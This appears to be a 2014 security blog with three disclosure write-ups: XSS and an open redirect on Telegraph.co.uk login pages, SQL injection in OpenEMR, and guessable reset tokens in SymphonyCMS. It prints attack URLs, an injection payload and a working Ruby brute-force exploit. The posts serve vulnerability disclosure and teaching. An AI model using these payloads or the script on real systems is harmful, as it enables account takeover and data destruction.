Investigating Software

Investigating Software

Monday, 11 August 2014

XSS and Open Redirect on Telegraph.co.uk Authentication pages


I recently found a couple of security issues with the Telegraph.co.uk website. The site contained an Open redirect as well as an XSS vulnerability. These issues were in the authentication section of the website, https://auth.telegraph.co.uk/ . The flaws could provide an easy means to phish customer details and passwords from unsuspecting users.

I informed the telegraph's technical management, as part of a responsible disclosure process. The telegraph management forwarded the issue report and thanked me the same day. (12th May 2014)

The fix went live between the 11th and 14th of July, 2 months after the issue was reported.

The details:

The code served via auth.telegraph.co.uk appeared to have 2 vulnerabilities, an open redirect and a reflected Cross Site Scripting (XSS) vulnerability. Both types of vulnerabilty are in the OWASP Top 10 and can be used to manipulate and phish users of a website. As well has potentially hijack a user's session.

Compromised URLs, that exploit these flaws would have typically have been circulated to potential victims, in emails, via twitter or facebook. The fact the web-pages were served via HTTPS, provided no added protection for the user. HTTPS was encrypting an already compromised page.

The Open Redirect was on the reenterPassword.htm page, and allowed any URL to be entered via a URL argument and used to override the desired value.

Simply replacing the URL with another site is one simple attack:

https://auth.telegraph.co.uk/sam-ui/reenterPassword.htm?redirectSuccess=http://www.example.com

In this example,  the page included this HTML:
 
<input name="redirectSuccess" type="hidden" value="http://www.example.com" />

As the Open redirect was entirely unvalidated, an attacker could even incorporate javascript directly into the link:

https://auth.telegraph.co.uk/sam-ui/reenterPassword.htm?redirectSuccess=javascript:prompt%28%27Enter%20Credit%20card%20number:%27%29

Here the HTML returned includes our 'dodgy' example request for the customers credit card number:
 
<a href="javascript:prompt('Enter Credit card number:') " title="return to last page visited">Back</a>

A screen capture of the affected page.
More details on this sort of vulnerability and how it can be mitigated can be found on the OWASP site.

The Reflected XSS issue was discovered on the login.htm page, and allowed a URL and arbitrary javascrpt code to be included in the plink URL argument.

An attack URL might look like this:

https://auth.telegraph.co.uk/sam-ui/login.htm?logintype=lite&plink=http://www.example.com%22%3E%3CFORM%20onclick=%22alert%28%27HACKED%27%29%22%20name=%22

And resulted in the following HTML being inserted into the page:
 
<a href="http://www.example.com"><FORM onclick="alert('HACKED')" name="?command=slideUpLight" id="link_id" class='closeLink' title="close the login window"></a>

As you can see, clicking on the Form would have resulted in the alert message 'HACKED' being presented to the customer. In a real exploit, the attackers might choose to insert more subtle code or requests for information into the page to steal or phish a users details or session.


More details on this sort of vulnerability and how it can be mitigated can be found on the OWASP site.

Details on a similar flaw in the Guardian's web site, found last yeah can be found here.


Thursday, 12 June 2014

SQL Injection security flaw in OpenEMR medical records system.

I recently examined a popular open source medical records system named OpenEMR. A quick review of the app uncovered a SQL Injection vulnerability in the application, that would allow an attacker to execute their own SQL commands against the system. The attack is relatively textbook and its detection and exploitation are outlined below. Firstly, a description of the product:
Profile: OpenEMR is a medical practice management software which also supports Electronic Medical Records (EMR). It is ONC Complete Ambulatory EHR certified and it features fully integrated electronic medical records, practice management for a medical practice, scheduling and electronic billing.

The server side is written in PHP and can be employed in conjunction with a LAMP "stack", though any operating systems with PHP-support are also supported.
...
In the US, it has been estimated that there are more than 5,000 installations of OpenEMR in physician offices and other small healthcare facilities serving more than 30 million patients. Internationally, it has been estimated that OpenEMR is installed in over 15,000 healthcare facilities, translating into more than 45,000 practitioners using the system which are serving greater than 90 million patients.


Source: Wikipedia: http://en.wikipedia.org/wiki/OpenEMR
Affected versions: OpenEMR 4.1.2 Patch 5 (and likely previous patches & releases)
Fix in: OpenEMR 4.1.2 Patch 6 

As usual I reviewed the system as a user, browsing features and recording my actions in my intercepting proxy (BurpSuite). This gave me a good idea of the default system features and usage model. Combined with review through the online documentation, I gained a broad idea of how the system is used and its features or ‘claims’.

The latest/patched code was relatively well protected against SQL Injection, with widespread use of prepared statements, a good defence against 1st order SQL Injection. But, I noticed a few queries were not parameterised. While this is not necessarily a problem, if its possible to include custom inputs into the query, then vulnerabilities can creep in.

In this case, the affected query was a delete for ‘Patient Disclosures’. When the user opts to delete a Disclosure record via the user interface the system runs this query, inserting the record identifier sent via the browser.

Unfortunately, the Open EMR system does not filter out inappropriate characters for these requests, meaning SQL can be written unmodified into the request. As long as the SQL, when combined with the remainder of the query is valid syntactically, the query is then executed. If code had restricted the input to be, for example positive integers, then this vulnerability would be largely mitigated.

You can see the vulnerable code here:

File: openemr-4.1.2/library/log.inc
function deleteDisclosure($deletelid)

{

       $sql="delete from extended_log where id='$deletelid'";

       $ret = sqlInsertClean_audit($sql);

}

As you can see the ID string is just included directly into the string used for the query.

As a proof of concept, I wrote a simple SQL extract that when injected produces a valid but nefarious query. In this case, the query deletes all Patient Disclosures.

The malicious Request URL might look like this (the malicious characters in red):

http://youropenemrserver/openemr/interface/patient_file/summary/disclosure_full.php?deletelid=5%27%20OR%20%271%27=%271

The active code inserted is:
' OR '1'='1

This generates a SQL query like this:
delete from extended_log where id='5' OR '1'='1'

The addition ensures every item in the table is deleted. Not only those with an id of 5. Other injections are of course possible, this one was chosen because its a simple demonstration of SQL Injection. Typically an attacker would try to extract user credentials, or confidential information  - in this case possibly patient medical records.

One positive aspect of the flaw is that it is not pre-auth. So the attack only works when the attacker/exploit code has access to a valid logged-in session. This makes it slightly harder to exploit, but not overly so as an attacker can use methods such as Cross Site Request Forgery to initiate ‘blind’ attacks from another browser tab. But in summary, if OpenEMR is deployed only on a local network this issue is not severe.

Note: I reported this issue in a process of responsible disclosure on a 30 day embargo. (That expired 5 days before a patch was released and 9 days before this post.  

The patch was released on the 8th June 2014 and is meant to address this issue and others. (Look for the fixes from Brady Miller to log.inc). I have not tested this fix.

Monday, 24 March 2014

A security bug in SymphonyCMS ( Predictable Forgotten Password Token Generation )


(This issue is now raised in OSVDB.)

On the 20th October 2013, The SymphonyCMS project released version 2.3.4 of their Content Management System. The release included a security fix for an issue I’d found in their software. The bug made it much easier for people to gain unauthorised access to the SymphonyCMS administration pages. More about that in a moment.

The date of the release is also relevant, its a couple of days shy of 60 days after I had informed the development team of the issue. When I’d informed the team of the bug, I’d mentioned that I’d blog about the issue, sometime on or after the 60 days had elapsed. (That was in line with my Responsible Disclosure policy at the time)

Which product had the bug?


Symphony CMS is a web content management system, built in PHP. It appears to be used by several larger companies & organisations, learn more here


What was the bug?

The forgotten password functionality in v2.3.3 had a weakness, This meant an attacker could bypass the normal login process by pretending to ‘forget’ a users password. It breaks down like this:

Firstly The Attacker needed a username, that was not so difficult as usernames are not secret and can be guessed. E.g.: John Smith, might have a username of  jsmith, john.smith etc.

With the username, The Attacker filled out the forgotten password form and made a note of the date & time when he did it. That bit was easy too, common browser plugins like Firebug tell you the time a server responds to any web page request.


Firebug shows the HTTP response with the server's date & time for the response


Now comes the interesting bit, The Symphony v2.3.3 code uses the date & time to calculate the special “too hard to guess” token it uses in the forgotten password email link.  The PHP code on the server looks like this:

$token = substr(SHA1::hash(time() . rand(0, 1000)), 0, 6);

OK, so that's:

time()         
( precise to the second in php ) Easy: We got that from Firebug

Add that to…

rand(0, 1000)
A random number between zero and 1000.      
Slightly harder, but guessing a thousand numbers is easy for a computer.

Then...

SHA1::hash(...)     
Hashing does not make it harder to guess, I just have a 1000 hashes instead of a 1000 numbers now.

Then...

substr(... , 0, 6)   
The first 6 characters. That's actually making it slightly easier, The first 6 characters may be repeated in the first 6 characters of some of the hashes.

As you might have worked out by now, The Attacker has only to make [less than or equal to] 1000 guesses to access our user’s account, by only knowing their guessable user-name.

Given that by default SymphonyCMS allows users 2 hrs to use the forgotten password link after it has been sent, I have plenty of time to guess them all. This is where some simple ruby automation makes life even easier, in this exploit:

#!/usr/bin/ruby

require 'watir-webdriver'
require 'digest/sha1'
require 'date'

puts "Number of arguments: #{ARGV.length}"

if ARGV.length !=2
    puts "Incorrect arguments!"
    puts "Usage:"
    puts "#{__FILE__} FQDN TIME_STRING"
    exit 2
end

browser = Watir::Browser.new
browser.goto 'about:blank'
puts "Time string: #{ARGV[0]}"

0.upto(1000) do |random_num_guess|
    target_timestamp = DateTime.parse( ARGV[1]).to_time.to_i.to_s

    token=Digest::SHA1.hexdigest(target_timestamp + random_num_guess.to_s )[0,6]

    exploit_url="http://#{ARGV[0]}/symphony/login/#{token}/"
    puts "Try #{random_num_guess} : #{exploit_url}"
    browser.goto exploit_url

    if browser.text.include? 'Retrieve password'
        puts "about:Blanking as the page is a login page."
        browser.goto 'about:blank'
    else
        puts "This URL worked:"
        puts exploit_url
        break   
    end

end # upto
The ruby script above works through all 1000 combinations in a browser window, trying in each one and stopping when it finds one that works, It leaves the browser window open, logged in and ready to use. As you can imagine, its usually finished before the 1000th one is reached. Even on a normal DSL / broadband connection, talking to a slow Amazon EC2 instance in Asia (I’m in th UK) - the whole process only took less than 5 minutes. 

How did I find the vulnerability?


I started checking for the low hanging fruit, simple XSS issues and ways to induce errors in any input forms and headers I could identify as useful. As usual, BurpSuite helped me see the details of the interactions and keep a record of what I had done. I traced the error-behaviour back to the code. That gave me a head start - I knew the relevant parts of the code - that were easily accessible and knew the happy and unhappy code paths.

Amongst these were the login process, and in particular the forgotten password functionality. This especially interested me, as its an essential feature - but one that necessitates the bypassing of the main authentication system. Like a back-gate in the castle wall. Reading through the PHP code, and comparing it to the behaviour - I soon noticed the likely vulnerability. Adding debug, allowed me check my assumptions - and soon I had a working exploit in ruby.


Why SymphonyCMS?


Open source tools are a great place to practice your testing skills, You can examine the system as a black box, and then crack open the code repository and check the code and configuration. You can test your assumptions about how the system works. That's more than you can do with many proprietary software systems.

I’d noticed that the Symphony content management system was used by several media companies, a market sector I have considerable experience in. So it seemed like a good fit. You are also helping to improve the software available to everyone on the internet.


What happened when I reported it?


I forwarded the details, exploit-code and a video of the issue to the development team. We discussed some options, and I pointed them towards a more secure way to create the tokens using the PHP function: openssl_random_pseudo_bytes

The SymphonyCMS team implemented a fix, and released it, as mentioned above. Unfortunately, the fix caused another issue - the forgotten password links no-longer worked at all. (They lengthened the token in the URL but not the one it compared it against in the database).

Sadly, I’ve been too busy to investigate the issue much since, or even write it up (Yes I’m writing about last year!  )